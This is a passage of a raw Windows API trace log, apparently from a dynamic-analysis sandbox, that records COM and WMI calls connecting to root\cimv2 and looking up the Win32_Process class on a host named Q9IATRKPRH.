puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.698] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c053dd0) returned 0x0 [0081.698] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c053dd0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c03f810) returned 0x0 [0081.786] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f810, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf97aa0) returned 0x0 [0081.786] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97aa0, pProxy=0x1c03f810, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0081.786] WbemLocator:IUnknown:Release (This=0x1bf97aa0) returned 0x1 [0081.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f810, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf97ae0) returned 0x0 [0081.787] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f810, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf97aa0) returned 0x0 [0081.787] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97aa0, pProxy=0x1c03f810, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0081.787] WbemLocator:IUnknown:Release (This=0x1bf97aa0) returned 0x2 [0081.787] WbemLocator:IUnknown:Release (This=0x1bf97ae0) returned 0x1 [0081.787] CoTaskMemFree (pv=0x11dc850) [0081.787] WbemLocator:IUnknown:AddRef (This=0x1c03f810) returned 0x2 [0081.788] WbemLocator:IUnknown:Release (This=0x1c053dd0) returned 0x0 [0081.788] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0081.788] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0081.788] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f810, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf97ab0) returned 0x0 [0081.789] WbemLocator:IRpcOptions:Query (in: This=0x1bf97ab0, pPrx=0x1c053e30, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0081.789] WbemLocator:IUnknown:Release (This=0x1bf97ab0) returned 0x2 [0081.789] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0081.789] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0081.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f810, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c03f810) returned 0x0 [0081.789] WbemLocator:IUnknown:Release (This=0x1c03f810) returned 0x2 [0081.789] SysStringLen (param_1=0x0) returned 0x0 [0081.789] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0081.789] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0081.789] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.789] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f7b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0081.790] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f7b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0081.790] IWbemServices:GetObject (in: This=0x1c03f810, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c02ac50, ppCallResult=0x0) returned 0x0 [0081.794] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0081.794] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0081.795] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0081.795] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0081.795] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0081.795] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0081.795] IUnknown:Release (This=0x111f638) returned 0x1 [0081.798] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c053dd0) returned 0x0 [0081.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053dd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0081.798] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053dd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c02fb70) returned 0x0 [0081.798] WbemDefPath:IUnknown:Release (This=0x1c053dd0) returned 0x0 [0081.798] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c02fb70) returned 0x0 [0081.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0081.799] WbemDefPath:IUnknown:AddRef (This=0x1c02fb70) returned 0x3 [0081.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0081.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0081.799] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c053df0) returned 0x0 [0081.800] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053df0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.800] WbemDefPath:IUnknown:Release (This=0x1c053df0) returned 0x3 [0081.800] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0081.800] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0081.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0081.800] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x2 [0081.800] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x1 [0081.800] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0081.800] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0081.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fb70, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c02fb70) returned 0x0 [0081.800] WbemDefPath:IUnknown:AddRef (This=0x1c02fb70) returned 0x3 [0081.800] WbemDefPath:IUnknown:Release (This=0x1c02fb70) returned 0x2 [0081.801] WbemDefPath:IWbemPath:SetText (This=0x1c02fb70, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.801] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.801] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0081.801] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0081.801] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.801] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0081.802] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0081.802] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0081.802] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0081.802] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0081.802] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.802] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.803] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.803] IUnknown:Release (This=0x111f638) returned 0x1 [0081.805] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c053f90) returned 0x0 [0081.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053f90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.806] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053f90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fc30) returned 0x0 [0081.806] WbemDefPath:IUnknown:Release (This=0x1c053f90) returned 0x0 [0081.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fc30) returned 0x0 [0081.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.806] WbemDefPath:IUnknown:AddRef (This=0x1c02fc30) returned 0x3 [0081.806] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c053fd0) returned 0x0 [0081.807] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053fd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.807] WbemDefPath:IUnknown:Release (This=0x1c053fd0) returned 0x3 [0081.807] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.807] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.807] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x2 [0081.807] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x1 [0081.807] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0081.807] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0081.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fc30, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02fc30) returned 0x0 [0081.807] WbemDefPath:IUnknown:AddRef (This=0x1c02fc30) returned 0x3 [0081.808] WbemDefPath:IUnknown:Release (This=0x1c02fc30) returned 0x2 [0081.808] WbemDefPath:IWbemPath:SetText (This=0x1c02fc30, uMode=0x4, pszPath="") returned 0x0 [0081.808] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0081.808] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0081.808] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0081.808] IUnknown:Release (This=0x111f638) returned 0x1 [0081.810] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c053f90) returned 0x0 [0081.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053f90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0081.811] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053f90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02fcf0) returned 0x0 [0081.811] WbemDefPath:IUnknown:Release (This=0x1c053f90) returned 0x0 [0081.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02fcf0) returned 0x0 [0081.811] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0081.813] WbemDefPath:IUnknown:AddRef (This=0x1c02fcf0) returned 0x3 [0081.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0081.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0081.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c054010) returned 0x0 [0081.813] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054010, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.813] WbemDefPath:IUnknown:Release (This=0x1c054010) returned 0x3 [0081.813] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0081.813] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0081.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fcf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0081.813] 